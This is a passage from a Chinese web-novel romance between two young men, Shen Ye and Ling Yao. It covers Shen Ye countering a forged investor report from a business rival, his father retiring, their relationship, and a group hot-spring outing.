“干嘛?”沈野松开手,居高临下地看着一脸懵懂的凌曜,慢条斯理地开始套自己的衬衫,“自己动手,丰衣足食。厨房,一起去。” 凌曜瞪大了眼睛,简直不敢相信自己的耳朵:“你让我做饭?我怎么会做饭!” 他十指不沾阳春水惯了,厨房对他来说就是个摆设。 “不会可以学。” 沈野已经利落地扣好了衬衫扣子,遮住了精壮的胸膛,恢复了几分平日的冷逸。 他伸手,不容分说地揽过凌曜的肩膀,半推半揽地把还在嚷嚷的某人往厨房方向带,“或者,你看着我做。” “沈野!你过分!我昨晚那么操劳!”凌曜试图挣扎,但失败。 沈野闻言,脚步一顿,侧头瞥了他一眼,眼神里带着点戏谑:“嗯?我看你精神很好。” 凌曜被沈野半强制性地带到明亮整洁的厨房,看着那些锃亮的厨具,一脸苦大仇深。 不过吧,当他偷偷瞄向身旁正在熟练系围裙,检查冰箱食材的沈野时,那宽肩窄腰的背影在晨光中忙碌,听着那时不时传来的指导…… 凌曜嘴上不情不愿,手上已经在乖乖洗杯子了。 这样好像……也不错? 阳光透过百叶窗,在岛台上切出明暗交错的光带。 煎蛋的滋滋声、咖啡机的蒸汽声、水流冲刷杯壁的声音,交织成一种陌生的,却让人心安的白噪音。 昨夜纠缠是野火燎原,今晨琐碎则像细雨,是更无声无息,也更深远的占领。 凌曜低头,看着杯中逐渐盈满的清水。 水面倒映出今日明亮的好天气,和他自己微微翘起的嘴角—— A国项目轰轰烈烈地进入了新阶段。用沈野的话说,这感觉就像同时要杂耍十几个火把,还得注意脚下有没有人给你使绊子。 每天一睁眼,就是看不完的报表、开不完的跨国会议,这边刚和A国那边扯完技术标准,那边国内的投资人又开始追问进度。 他觉得自己像个高速旋转的陀螺,唯一的休息就是会议间隙那五分钟,能喝口咖啡。 不过,比起上辈子这个时候的焦头烂额,现在简直算得上是岁月静好了。 至少,他手里有筹码,心里有底。 沈致远身体好转,公司也勉强算是在正轨上跑着。 最让他觉得神奇的,是凌曜。 这位祖宗,开学了。 于是,沈野的日常里又多了一项固定节目。 凌曜通常盘腿坐在他家沙发上,美其名曰“监督”他工作,面前摊着笔记本电脑,眉头皱得能夹死苍蝇,正跟他的assignment搏斗。 “啊啊啊——这个理论到底在说什么啊!” 凌曜会突然哀嚎一声,把脸埋进抱枕里。 沈野面不改色地对着麦克风用流利英语说:“关于第三条款的争议,我认为我们需要更具体的数据支持。” 然后捂住话筒,转头对沙发上那团怨气快速说:“想不到你还有不会的?” 凌曜立刻抬起头,愤愤咬唇,噼里啪啦开始敲键盘。 这种模式,成了他们之间心照不宣的默契。 沈野发现自己有点享受这种感觉,甚至两个人偶尔呛嘴也成了一种乐趣。 当然,凌曜的回应方式也很凌曜。 比如,会在沈野连续工作三小时后,突然把一颗剥好的葡萄塞进他嘴里,凶巴巴地说:“补充点糖分,别晕倒在我面前。” 沈野有时候看着凌曜咬着笔头,跟论文死磕的侧脸,会觉得这画面有点奇幻。 上辈子这个时候,凌曜还处于深深叛逆期,那可是鼻孔朝天、走路带风的顶级纨绔,人生最大烦恼可能是今天该宠幸哪辆超跑。 他看沈野,就跟看路边碍眼的石头差不多,一次宴会上狭路相逢,这位少爷能故意把香槟洒他一身,然后扬起下巴哼一声:“挡路了。” 那副全世界都得哄着我的德行,沈野想想都拳头硬。 现在倒好,一个忙着拯救公司,一个忙着拯救GPA,居然有种诡异的共同奋斗的和谐感。 他低头笑了笑,继续投入到下一场战斗中。 虽然忙得脚不沾地,但心里某个角落,是踏实甚至有点轻快的。 毕竟,现在不是他一个人在单打独斗了。 —— 然而,安稳日子没过几天,麻烦就找上门了。 这次的问题,比单纯的泄露要阴险得多。 事情还是出在A国项目的技术方案上,但对方的手法升级了。 他们没有直接窃取核心数据,而是巧妙地伪造了一份看似来自沈野团队的内部评估报告。 这份伪造的报告,用一种看似客观严谨的口吻,分析了项目几个关键技术节点的风险,甚至预测了可能出现的延期问题。 报告里引用的数据半真半假,逻辑看似严密,极具误导性。 更恶心的是,这份报告被匿名发送给了几家关键投资机构和潜在合作伙伴的中间人。 效果是致命的。 原本谈得好好的几家投资方,这几天突然变得怪怪的。 回邮件慢了,开会时总绕着关键问题打转,话里话外都是“再评估一下风险”“不着急合作”。 沈野对着电脑,手指无意识地敲着桌面。 这感觉不对,不像是正常的商业谈判拉扯。 他皱着眉,把最近所有的沟通记录和往来文件又快速过了一遍。 突然,沈野手指一顿,停在了一封邮件上。 那是其中一家投资方的中间人,前天转发过来的一份行业内部参考分析,说是仅供参考。 当时他忙着处理技术问题,只扫了一眼标题,觉得是常见的市场分析,就没细看。 现在,他点开了那份附件。 越看,眉头皱得越紧。 这份报告写得太……恶心了。 它用一种特别为你着想的口吻,详细分析了沈野他们技术路线里存在的问题。 引用的数据乍一看有模有样,逻辑也似乎能自圆其说,但沈野一眼就看出,里面关键的几个推论依据,根本就是偷换概念,或者用了过时的行业标准。 这根本不是客观分析,这是一份精心包装过的问题清单。 沈野往后一靠,嗤笑一声。 他几乎能想象出对方是怎么操作的。 把这份看似专业、实则包藏祸心的东西,悄无声息地塞给所有关键决策人。 不公开造谣,免得惹官司。 “玩阴的是吧?” 沈野低声自语,眼神冷了下来。 这手法,又准又损,对投资人的心理拿捏得死死的。 跟上回泄露项目进度那事,风格简直一模一样,但这次更隐蔽,更恶心人。 沈野没慌,用最快速度联系了秘书去处理这个事情。 结束后靠在椅背上,揉了揉太阳穴,感觉比连续开三天会还累。 他盯着手机屏幕,指尖无意识地滑动。鬼使神差地,就拨通了凌曜的电话。 电话响了两声就被接起,那边传来一阵噼里啪啦敲键盘的声音,还有凌曜带着点烦躁的、拖长了调子的声音:“喂——谁啊——?” 背景音里还夹杂着模糊的英文纪录片旁白,估计是写作业写到头秃在放背景音。 沈野几乎能想象出他此刻的样子:肯定皱着眉,嘴巴可能还不高兴地撅着。 他嘴角不自觉地弯了一下,声音里带着自己都没察觉的放松:“是我。在干什么?” “还能干嘛!”凌曜的声音立刻拔高,像找到了宣泄口,“跟这破玩意死磕!这什么鬼题目啊!” 他抱怨得理直气壮,仿佛写不出论文是全世界的错。 沈野低笑一声,都能想象电话那头张牙舞爪的样子。“嗯,辛苦了。” 他随口应道,语气里带着点不易察觉的纵容。 “你嗯什么嗯!”凌曜不满地哼唧,“都怪你!要不是你天天忙得不见人影,没人给我煮宵夜,我脑子能转不动吗?” 沈野失笑,顺着他的话逗他:“那怎么办?我现在飞过去给你煮碗面?” “少来!”凌曜嗤了一声,但语气明显好了不少,键盘声也停了。 他顿了顿,声音忽然压低了些,带着点狡黠的意味,“喂,你那边……麻烦事处理得怎么样了?” “还行。”沈野言简意赅,不想多说那些糟心事。 “哦……” 凌曜拖长了声音,忽然话锋一转,语调变得懒洋洋又意味深长,“那就是快忙完咯?看来哥哥今晚,终于能有空了?” 沈野挑眉:“你想干嘛?” 电话那头传来一声带着气音的坏笑,像羽毛搔过耳膜:“不想干嘛啊。就是提醒一下某位老板,欠下的补偿……是不是该连本带利还一下了?” 暗示意味十足。 沈野瞬间就想起之前的疯狂,喉结下意识滚动了一下。 这人小论文写得如何暂且不提,撩人的功夫倒是见长。 他笑骂一句:“写你的作业!脑子里整天想些什么乱七八糟的。” “我想什么你不知道?”凌曜理直气壮地顶回来,声音里满是得意,“晚上洗干净等着,看我怎么收拾你!” 说完,也不等沈野回话,啪嗒就把电话挂了。 听着手机里的忙音,沈野愣了两秒,随即摇头失笑。 刚才积压在心头的疲惫和阴霾,竟然被这通蛮不讲理的电话搅散了不少。他看着暗下去的屏幕,嘴角的弧度久久没放下。 行吧。 晚上再说。 现在,好像又能打起精神,再把那堆破文件看一遍了。 第48章 次日, 小会议室内气氛凝重。 沈野没有废话,直接将那份伪造报告的投影打在屏幕上。 “有人给我们送了一份大礼。”沈野勾唇一笑,“说说看法。” 技术总监首先发言, 指着几处数据,推论误导性极强。” 法务负责人补充道:“这份报告没有公开发表,而是私下传播,很难直接以诽谤起诉。但如果我们能证明其内容存在主观恶意并造成了实际损失, 可以尝试追溯来源,追究法律责任。” 秘书这边汇报了初步调查结果:“发送报告的匿名邮箱无法追踪。但根据收到报告的几家投资方反馈, 他们几乎都是在最近48小时内,通过不同的中间人渠道获得的。时间非常集中。” 沈野静静听着, 忽然想到什么, 他抬眼看向秘书:“中间人……赵铭那边,最近有什么动静?” 秘书愣了一下, 随即反应过来:“赵家?赵铭最近确实很活跃,和几家接触过我们的投资方走得挺近。不过, 表面上看都是正常的社交往来。” “正常社交?” 沈野轻笑一声, 目光重新落回屏幕上的报告, “用五年前的标准来客观分析我们最前沿的技术方案……这种对行业标准更新换代,如此不敏感却又如此精通旧规则的手法……” “你觉不觉得, 很像是某些靠着传统行业起家, 对新技术既警惕, 又试图打压的保守派惯用的伎俩?” 他顿了顿, 语气带着一丝嘲讽:“赵家老爷子不就是靠吃政策红利和行业标准壁垒发家的么?他们对这些过时的条条框框, 可比我们熟悉多了。” 会议室内安静了一瞬。几位高管迅速交换了眼色。 老板这个指向性太明显了,但仔细一想,又确实合情合理。 赵家在新兴技术领域布局屡屡受挫, 而沈野的这个A国项目一旦成功,将严重冲击赵家现有的部分传统业务。 他们确实有充分的动机,而且具备实施这种抹黑的能力。 “当然,这只是初步推测。” 沈野结束了会议,“重点查一下赵家,尤其是赵铭近期的资金流向和联系人。技术部尽快准备一份澄清说明,法务部准备律师函,先给那几个跳得最欢的中间人发过去,敲山震虎。” 众人领命而去。 办公室里重新恢复安静。 沈野走到窗边,看着楼下车水马龙。 是不是赵家,其实他也不能百分百确定。 但在这个圈子里,有时候你需要一个明确的目标来凝聚力量,展开反击。 赵家,无论是不是真正的黑手,此刻都是最合适的靶子。 而且,他想到了凌曜。 上次项目参数泄露,凌曜似乎就隐约提过赵家有点小动作。 这小子,虽然整天看起来没心没肺,但在某些事情上,直觉准得吓人。 想到凌曜,他嘴角又忍不住弯了弯。 晚上……或许可以顺便问问他,还知道些什么关于赵家的趣闻。 兵来将挡,水来土掩。 既然有人迫不及待地想玩,那就陪他们好好玩玩—— 处理完手头的事务,窗外已是华灯初上。 沈野揉了揉发酸的脖颈,想起一会要去找凌曜,嘴角不由地弯了弯。 要不说人类是适应性强的产物,性合适其他方面也容易和谐,沈野近期除了事业有波折,其余方面可谓是如鱼得水。 再回忆起上辈子和凌曜的相处,有时沈野都恍惚,仿佛上辈子是做的一场梦。 他拿起车钥匙准备离开,忽然想起一份需要带给凌曜参考的报告,落在了南郊的家里。 也罢,正好回去拿,顺便看看父亲。 车子驶入南郊安静的小区,家里的灯还亮着。 沈野停好车走进客厅,发现父亲沈致远还没睡,正戴着眼镜,在灯下看书。 “爸,这么晚还没休息?”沈野换了鞋,走过去。 沈致远闻声抬起头,看到儿子,脸上露出温和的笑意:“回来了?没事,看看报纸。你吃饭了吗?” “吃过了。”沈野在他对面的沙发坐下,“您身体感觉怎么样?医生嘱咐要多休息。” “我好多了,你别总惦记我。” 沈致远放下手中的书,仔细端详着儿子,目光里带着欣慰和一丝不易察觉的复杂,“公司的事,辛苦你了。这次的风波,你处理得很好,比我想象的还要沉稳。” 他顿了顿,语气有些感慨,“有时候看着你,我都觉得不像是在看一个二十六岁的年轻人,倒像是……在看一个经历了很多事的老江湖。” 沈野心里微微一紧,面上却不动声色:“形势逼人,总要快点长大。” 沈致远点点头,沉默片刻,忽然说:“小野,爸爸老了,身体也大不如前。我想了想,近期公司就正式交到你手上吧。我退下来,安心养病,也享享清福。” 沈野一怔,看向父亲。 沈致远的眼神很平静,带着卸下重担后的释然,也有一丝难以掩饰的疲惫。 这次大病,让父亲的心态发生了很大变化。 “爸,您还年轻……” 沈野想说些什么。 只是,沈致远摆摆手,打断他:“我的身体我自己清楚。交给你,我放心。” 他看着儿子,语气转为关切,“倒是你,别光顾着工作,也要注意身体,多出去走走,交交朋友。”他意味深长地补充了一句,“你这个年纪,正是时候考虑成家立业了。” 沈野被这突如其来的话题转向弄得有些措手不及,只能含糊地应道:“嗯,我知道。” 然后就开始收拾东西,准备出门。 沈致远看着儿子略显局促的样子,眼中闪过一丝了然的笑意,问道:“这么晚了,还要出去?是公司还有急事?” “啊……嗯,”沈野站起身,避开父亲探究的目光,走向书房去拿文件,“有点东西要处理一下。” 看着儿子几乎是落荒而逃的背影,沈致远脸上的笑意更深了。 他慢悠悠地重新拿起书,状似无意地念叨了一句:“年轻人,有约会就去嘛,工作是忙不完的……注意安全就行。” 正准备出门的沈野脚下一个踉跄,耳根微微发热,没敢回头,含糊地应了声“知道了,爸您早点休息”,便迅速开门消失在夜色中。 听着汽车引擎声远去,沈致远摇了摇头,失笑道:“这小子……还跟我装。”—— 沈野的车停在凌曜公寓楼下时,夜已经深了。 他拿着文件袋上楼,刚按响门铃,门就“咔哒”一声被猛地拉开。 凌曜顶着一头微湿的乱发,穿着宽松的丝质睡袍,赤脚站在门口,脸上带着点不耐烦,不满道:“你怎么才来啊!” 沈野被他这副理直气壮的模样逗笑了,走进门,随手带上门:“路上有点事耽搁了。” “切,借口。”凌曜哼了一声,不过紧紧跟在他身后,像只尾巴。 他看到沈野手里的文件袋,眼睛一亮:“给我的?” 沈野手一抬,轻松避开:“急什么。先说说,你写完了?” “烦死了!还有一点!” 凌曜立刻垮下脸,整个人没骨头似的往沈野背上一趴,下巴抵在他肩膀上,哼哼唧唧:“你来了我就更不想写了。哥哥,你怎么香香的?” 温热的气息喷在颈侧,带着刚沐浴过的湿润水汽和熟悉的体香。 沈野身体微微一僵,随即放松下来:“行,你先下来,重死了。” “就不下!” 凌曜反而抱得更紧了些,手臂环住他的腰,声音闷闷的,忽然带上了点委屈:“喂……我下下周就要回A国了。” 沈野正准备放文件的手顿了一下。 虽然早知道这一天会来,但亲耳听到,心里还是有点空落落的。 “嗯。”他低低应了一声,声音听不出什么情绪。 “就‘嗯’?”凌曜不满地抬起头,转到沈野面前,瞪着他,“你都没什么表示的吗?我要走很久诶!那边课业超重的!而且……” 他眼神闪烁了一下,声音低了下去,带着点不易察觉的试探,“……而且那边好无聊的。” “知道了。”沈野的声音放柔了些,“等你安顿好,我看时间,飞过去看你。” 凌曜的眼睛瞬间亮了:“真的?!你说真的?不许骗我!” “我什么时候骗过你?”沈野挑眉。 “这还差不多。”凌曜脸上立刻阴转晴,得意地扬起下巴,但随即又皱起眉,开始讨价还价:“那不能太久,最多……最多一周,你就得来。” 沈野失笑:“这么想我?” 尾音还没落下,凌曜已经猛地伸手揪住他的衬衫前襟,用力将人拉向自己。 他强势地迫使他俯身,两人的鼻尖几乎撞在一起。 “少废话。”凌曜的声音压低了,带着不容置疑的强势,那双漂亮的眼睛里燃着灼人的光,直直撞进沈野微讶的眼底,“想你了又怎么样?不行吗?” 他根本不给沈野反应的时间,话音未落,便仰头狠狠吻了上去。 这个吻毫无温柔可言,充满了侵略性和占有欲,像是要在分离前打下属于自己的烙印。 沈野被他撞得微微后退半步,下意识地伸手扶住他的腰稳住身形,随即从喉间发出一声模糊的闷哼。 比起无奈,更像是纵容。 他闭上眼睛,承受着这个充满占有欲的吻,原本扶在凌曜腰侧的手缓缓上移,最终扣住了他的后颈,以一种默许的姿态加深了这个吻。 凌曜像是巡视自己领地的猎食者,细致地,不容反抗地品尝着属于自己的猎物。 直到两人肺里的空气都快耗尽,他才微微后退,结束了这个漫长而激烈的吻。 凌曜的额头依旧抵着沈野的,呼吸灼热而急促,喷在对方同样泛红的皮肤上。 “听着,沈野,”凌曜的声音因喘息而沙哑,却带着前所未有的认真和霸道,“我不在的时候,你给我安分点。要是让我知道你敢看别人一眼……” 他顿了顿,指尖不轻不重地戳了戳沈野的胸口,留下一个充满警告意味的触感,“后果自负。” 沈野看着眼前这人放完狠话还微微喘气的样子,眼睛此刻因为动情而水光潋滟,偏偏还要摆出最凶的表情。 他心底那点因离别而生的怅惘,竟奇异地被冲散了不少。 于是低低地“嗯”了一声,算是回应。 这声应答显然取悦了凌曜。 他轻哼一声,总算稍微退开一点,但拉着沈野衬衫前襟的手却没松开,拽着他往卧室方向走去。 “愣着干什么?”他侧过头,眼尾微挑,丢给沈野一个“你懂的”眼神—— 激烈的云雨初歇,空气中弥漫着情¥…%欲未散的暖昧气息。 两人冲完澡,带着一身湿漉漉的水汽重新躺回床上。 凌曜侧着身,一只手支着脑袋,毫不避讳地打量着身边的沈野。 台灯暖黄的光线柔和地勾勒出沈野的轮廓。 他放松地躺着,手臂随意地搭在额前,闭着眼微微喘息。 水珠顺着他汗湿的颈项滑落,流过线条分明的锁骨,沿着紧实饱满的胸肌一路向下,没入腰腹间壁垒清晰的肌□□壑中。 他的身材并非过分夸张的壮硕,而是经过长期锻炼打磨出的精炼,像一头休憩中的猎豹,野性又性感。 凌曜的目光带着毫不掩饰的欣赏,一路看下来,眼神渐渐变得幽深。 他看得有些出神,指尖无意识地蜷缩了一下,忽然冒出一句: “啧……真想把你打个包,塞进行李箱一起带走。” 这话说得突兀,带着一股孩子气的,不容置疑的占有欲。 沈野原本闭着的眼睛倏地睁开,眉头几不可查地蹙了一下。 这句话,连同凌曜此刻盯着他,仿佛要将他拆吃入腹的眼神,瞬间触动了沈野脑海深处的某根弦。 ——和当年一模一样。 那时他刚拿到国内顶尖学府的录取通知书,而凌曜则被家族安排即将赴A国留学。 凌曜得知后,直接冲到他家,也是用这种混合着任性、不满和强烈占有欲的眼神瞪着他,语气骄横: “沈野!你必须跟我一起去!不然我就把你绑上飞机!” 沈野一开始耐心解释,然而凌曜却搬出沈致远,威胁如果不去,就让爸爸把沈致远降薪或者开除。 少年时的凌曜,表达在意的方式就是如此霸道直接,仿佛全世界都该围着他转。 沈野当时只觉得他不可理喻,两人大吵一架,不欢而散。 那也是他们关系急剧恶化的开端。 此刻,相似的话语,以更成熟,更暧昧的方式再次出现了。 沈野看着凌曜在灯光下显得格外认真的侧脸,那双漂亮的眼睛里除了占有,似乎还多了些他过去未曾读懂的东西。 他没有像当年那样冷硬地拒绝,只是沉默了几秒,然后淡淡开口,声音还带着事后的沙哑:“……胡说八道什么。” 语气里听不出喜怒,更像是一种无奈的纵容。 凌曜似乎也意识到自己失言,他撇了撇嘴,移开视线,有些别扭地嘟囔:“……说说也不行啊。” 但那只空闲的手,却悄悄地伸过去,勾住了沈野的手指,紧紧攥住。 仿佛生怕一松手,眼前这个人就会消失不见。 沈野感受着指尖传来的温度和力道,心头那点因回忆而生的滞涩,悄然化开。 他反手握住凌曜的手,重新闭上了眼睛。 这一次,终究是不同的。 第49章 赵家那边的事情, 沈野处理得干净利落。 几个操作同时进行,秘书还搜集了赵家在另一个海外项目上,一些不太合规的操作证据, 匿名递给了相关的监管机构。 没过几天,赵家就自顾不暇,那份伪造报告的源头也悄无声息地断了。 因着沈野技术团队给出的声明和报告更加权威,投资圈里的风声很快转向, 之前犹豫的几家机构又重新主动联系了沈野,局面算是稳住了。 这天, 沈野正在办公室看报告,江乐君兴冲冲, 主动找上门来。 “沈野!听你的真没错!” 他大咧咧往沈野面前一坐, 激动地说,“我按你说的, 私下找那俩小明星认真聊了聊。好家伙,你猜怎么着?他俩根本不是宫中对食, 是从小在同一个孤儿院长大的!无父无母, 就彼此相依为命熬过来的, 感情深得跟亲人一样。” 江乐君虽然是钢铁直男,但显然被这份沉重的羁绊触动了, 语气带着难得的唏嘘:“你是没听见, 那孩子说, 小时候被人欺负, 是另一个拼了命护在他前面, 手指都被打断了一根;高中那会儿为了攒钱买练习册,假期跑去地下通道卖唱,一个弹吉他手都磨出茧子, 一个唱歌嗓子都哑了,就为了一天多挣几十块钱……” “他们说,最怕的不是穷,是分开,觉得分开了,就真的又是一个人了,所以拼了命也要签同一家公司,住一起也是因为……除了对方,根本没地方可去,也没别人可以依靠了。” 他叹了口气,摇摇头:“我听着心里都挺不是滋味。这感情,早就超出一般情爱了。” “所以我就按你教的,没刻意卖惨,就让相熟的营销号把这段真实经历,稍微润色了一下,重点就突出相依为命和一步步挣扎着往上爬的劲儿。你猜怎么着?” 江乐君把手机递到沈野面前,屏幕上正是那篇爆料文章的评论区。 热评第一写道:【看哭了……这哪是谈恋爱,这是把彼此当命啊。骂他们的人有没有心?】 下面跟了几千条回复,争论激烈: 【顶楼上!他们也不容易,不要太过分了】 【但偶像恋爱就是失职啊!粉丝做错了什么要为他们伟大的爱情买单?】 【回复楼上:比起那些劈腿、塌房的,这种从泥潭里互相搀扶着走出来的感情,至少真吧?】 【我只佩服他们的韧劲,高中就在地下通道卖唱,一步步走到今天,不容易。】 【不管怎么样,他俩作为gay却要偶像出道,让梦女怎么办?】 【哈哈哈哈哈老公一夜变成骗婚gay】 虽然仍有大量声音坚持“偶像失格”,但“理解”、“心疼”、“希望他们好”的评论也占据了半壁江山,舆论风向确实发生了转变。 沈野快速扫过那些评论,目光在几条描述他们卖唱细节的回复上停留片刻,问:“他们现在打算是什么?” “退团。”江乐君言简意赅。 “他们俩不管多爱,这样搞确实违反了合同和行业规矩,留下来对团队,对他们自己都是个大问题。不过这是他们自己主动提出的,估计也是想清楚了,长痛不如短痛。” 沈野点点头,目光从手机屏幕上移开:“能想通就好。现在早点说出来也好,真相虽然沉重,但比漂亮的谎言走得远。” 他这话说得平淡,却像一颗小石子投入江乐君心里,激起了圈圈涟漪。 江乐君愣了一下,隐约觉得沈野话里有话,不单单是在说那对艺人。 他甩甩头,把这点异样感抛开,转而换上促狭的笑容,凑近了些,压低声音问:“哎,别说他们了。说说你,跟咱们小太子爷……最近怎么样?如胶似漆了吧?今天怎么没见他人影,没来查岗?” 这个调侃,让沈野端着水杯的手几不可查地顿了一下。 他缓缓抬起眼,目光落在江乐君脸上,眼睛微微眯起,像在审视什么。 办公室里的空气似乎凝滞了一瞬。 江乐君脸上的笑容僵住,心里“咯噔”一声,瞬间意识到自己可能说错话了。 沈野和凌曜的关系,知道的人极少,更别提用这种熟稔的口气开玩笑了。 他这随口一问,简直是精准踩雷。 “呃……哈哈哈,”江乐君赶紧干笑几声,试图找补,“那什么……我不是那意思!我是说……太子爷不是快开学了吗?肯定忙得脚不沾地吧?我就随口一问,随口一问!” 他眼神飘忽,不敢看沈野。 沈野看着他这副欲盖弥彰的样子,眸色深沉,过了几秒,才不紧不慢地开口,听不出情绪:“嗯。他下周回A国。” 语气平淡,却坐实了沈野知道凌曜行程这件事——这显然不是普通朋友该知道的。 妈耶,孙潇桡真是神通广大! 江乐君强行转移话题:“啊!对了!说到放松,我最近出差去试了一家温泉,环境绝了,私密性也好。你看最近大家压力都大,要不要组个局?我叫上孙潇桡、肖展颜他们,就当给太子饯行,怎么样?” 几秒钟后,沈野才几不可查地点了一下头,算是默许。 “太好了!那我这就去安排!” 江乐君如蒙大赦,立刻起身,几乎是逃离了办公室。 沈野揉了揉眉心,才想起温泉这事还没跟凌曜提。 他拿出手机,拨通了电话。 电话几乎是秒接。 “喂?”凌曜的声音传来,背景音有些嘈杂,夹杂着翻书和敲键盘的声音,“忙完了?” “嗯。”沈野应道,“刚江乐君他们来了一趟。” “他们?干嘛?”凌曜语气随意。 “说组个局,去泡温泉,给你饯行。”沈野言简意赅。 “R市?”凌曜顿了一下,似乎在脑子里搜索地理位置,随即了然,“哦,就隔壁那个岛国啊?飞过去倒是不远。什么时候?” “下周,你走之前。”沈野说,“你想去么?” “去啊,干嘛不去。”凌曜立刻来了精神,说到玩儿,烦恼顿时抛到脑后,“正好累死了,泡温泉放松一下。不过,” 他话音一转,带上了点惯有的骄纵,“房间得安排好啊,我可不想被不相干的人打扰。” “知道。”沈野嘴角微不可查地弯了一下,“已经让他们订了独栋的别墅房,带私人风吕。” 凌曜点头,“行。” 他们去R市倒是方便,飞过去也就两个小时左右,跟出个短差差不多。 江乐君所提及的温泉旅馆,隐于R市一处僻静的山麓,是当地顶级的温泉旅店之一,以其极致的私密性和独特的温泉而备受青睐。 旅馆里基本都是独门独栋的小院子,每间都带自己私人的露天温泉池,用石头砌的,四周用竹篱笆围得严严实实,绝对不用担心被人打扰。 它家最出名的叫“苹果汤”,倒不是直接把苹果扔水里煮。 而是每天一早挑新鲜苹果洗干净,放进特制的木头网兜里,让它漂在温泉上。 温热的泉水会慢慢激发苹果的清香,果酸与泉水中的矿物质微妙结合,淡淡的果香混着温泉的硫磺味儿,闻着挺舒服。 眼前是庭院枯山水的禅意景致,确是一种远离尘嚣,奢华而独特的体验—— 出发那天,凌曜难得起了个大早,精神抖擞。 沈野烤了两片面包,吃得快完了仍然没见凌曜出来,隔着门问道:“你是要去选秀出道?” 凌曜“切”了一声,在衣帽间里折腾了快一小时。 最后,凌曜满意道:“可以了,哥哥进来看看我!” 沈野把餐盘洗净,去到衣帽间,一下子看见成堆的衣服。 凌曜把衣服扔得到处都是。 沈野嘴角抽搐,看凌曜一身低调但剪裁极佳的黑白配色休闲装,墨镜一架,下巴微扬,神气得不行。 “好看么?” 凌曜得意地抬了抬墨镜。 沈野摸摸下巴,想起了“当红炸子鸡”。 相比之下,沈野就简单多了,十分钟搞定。 他靠在门框上,看着凌曜在那儿孔雀开屏,也没催,只是淡淡提醒了一句:“再磨蹭,赶不上值机了。” “急什么,头等舱又不用排队。” 凌曜撇撇嘴,对沈野的态度很失望。 沈野挑眉,没接话,只是走过去,顺手把凌曜扔在沙发上的一个限量款胸包拎起来,塞进自己随身的行李箱里。 机场VIP候机室里,孙潇桡和江乐君早就到了,俩人正头对头凑在一起开黑打游戏,大呼小叫。 肖展颜则安静地坐在角落,戴着降噪耳机看财经新闻,仿佛自带结界。 看到沈野和凌曜并肩走进来,孙潇桡立刻游戏也不打了,用手肘猛捅江乐君,挤眉弄眼,压低声音:“卧槽!来了来了!” 江乐君抬头一看,也乐了,用气声回道:“这哪儿是去泡温泉,这阵容说是去拍真人秀我都信!” 肖展颜也摘下耳机,朝两人点头示意,目光在凌曜那身过于用心的行头上微妙地停顿了一秒,嘴角弯起一个不易察觉的弧度。 两个小时的航程,凌曜也没闲着。 先是拉着沈野聊天,又对飞机餐的摆盘发表吐槽,最后才歪在宽敞的座椅里,戴着耳机看起了动漫,看着看着脑袋就一点一点,下意识往沈野肩膀上靠。 沈野正思考问题,感觉肩头一沉。 肩膀上拱了一颗毛茸茸的脑袋。 凌曜呼吸均匀,已经睡着了,长睫毛在眼下投下一小片阴影,没了平时张牙舞爪的劲儿,显得格外安静。 沈野动作顿了顿,最终没推开他,只是调整了一下坐姿,让他靠得更舒服点。 孙潇桡待得有些无聊,正准备回头和他们扯扯闲天,恰好看到这一幕。 于是立刻缩回头,用力拍江乐君大腿,用口型无声呐喊:“磕到了,你回头看看!” 江乐君捂着自己被拍红的大腿,龇牙咧嘴地点头,同样用口型回应:“闭嘴!别吵醒凌曜!” 肖网颜习以为常地重新戴上耳机,隔绝了后排一切动静,深藏功与名。 抵达R市,旅馆派来的专车早已等候。 车子沿着盘山公路蜿蜒而上,窗外是郁郁葱葱的山景,空气清新沁人。 凌曜心情大好,嘴角一直微微上扬,偶尔指着窗外的景色凑近沈野低声说两句,沈野则偏头听着,偶尔点头,气氛融洽。 到达酒店,身着和服的服务员恭敬地将他们引至预订的别墅区。 只是分房间时,气氛有了点微妙的停顿。 前台服务员拿着钥匙,礼貌地询问:“请问五位客人,是安排三间房吗?” 孙潇桡和江乐君对视一眼,眼神里闪过“你懂的”光芒。 孙潇桡抢先开口,语气自然得仿佛天经地义:“不用三间!野哥和曜哥一间,我们仨分一间就行,晚上还方便打斗地主。” 他这话说得又快又顺,根本没给当事人反驳的机会。 空气安静了一瞬。 沈野正低头看手机,闻言手指一顿,耳根以肉眼可见的速度漫上一点淡红。 凌曜轻轻咳了一声,算是默认了这个安排。他伸手接过服务员递来的其中一把钥匙,说了句“谢谢”。 别墅自带的露天温泉池在院子一角,被竹篱和嶙峋的石头巧妙围合。 热气氤氲而上,水面上漂浮着盛有新鲜苹果的木制网兜,清甜的果香混合着硫磺气息,在暮色中弥漫开来。 沈野和凌曜稍晚一些才过来。 凌曜换上了旅馆提供的深蓝色浴衣,带子系得有些随意,露出精致的锁骨和一小片白皙的胸膛。 他率先踏入温泉,温热的水流漫过腰际,舒服地叹了口气,靠在池边,伸手拨弄了一下水面上漂浮的苹果。 沈野跟着下水,在他身旁坐下。 温泉池里热气蒸腾,氤氲的水汽模糊了大家的轮廓。 几个人泡得筋骨酥软,连话都懒得多说。 只是没想到,过了几分钟,孙潇桡脑袋一点一点,就要靠着池边睡着了。 旁边的江乐君懵逼地看着这个兄弟,直接一胳膊肘怼醒。 “哎哟!”孙潇桡猛地惊醒,呛了口水,狼狈地抹了把脸,“江乐君!你谋杀啊!” “泡温泉睡着,你也不怕滑下去喝一肚子汤,明天头条就是孙少夜溺温泉!”江乐君没好气地白他一眼。 “太舒服了嘛……” 孙潇桡嘟囔着,像只煮熟的虾子瘫在池边,“跟做了个顶级SPA似的,谁顶得住啊。” 一直安静泡在角落的肖展颜忽然笑眯眯地开口,声音温和得像温泉水流:“哦,那我们来玩个游戏吧,提神醒脑,保证不困了。” “什么游戏?”孙潇桡勉强提起一点精神。 “真心话大冒险,温泉特供版。” 肖展颜笑眯眯,“规则简单,转这个空矿泉水瓶,瓶口指着谁,谁选。不过……”他顿了顿,笑容加深,“选大冒险的话,冒险内容必须跟温泉有关,且不能离开这个池子。” 孙潇桡和江乐君立刻来了劲,拍着水花起哄:“这个好!玩!必须玩!” 沈野没什么表情,不置可否。 凌曜则掀了下眼皮,嘴角挂着一丝似有若无的兴味,没反对。 众所周知,太子不反对就是默认。 于是,大家都兴致勃勃开始了。 第一轮,瓶口不偏不倚指向了孙潇桡。 他豪气入云地一拍水面:“真心话!放马过来!” 江乐君抢着问,一脸坏笑:“说,上次尿床是几岁?不许撒谎!” 孙潇桡甚是无语,梗着脖子吼:“滚蛋,老子三岁以后就没尿过!” 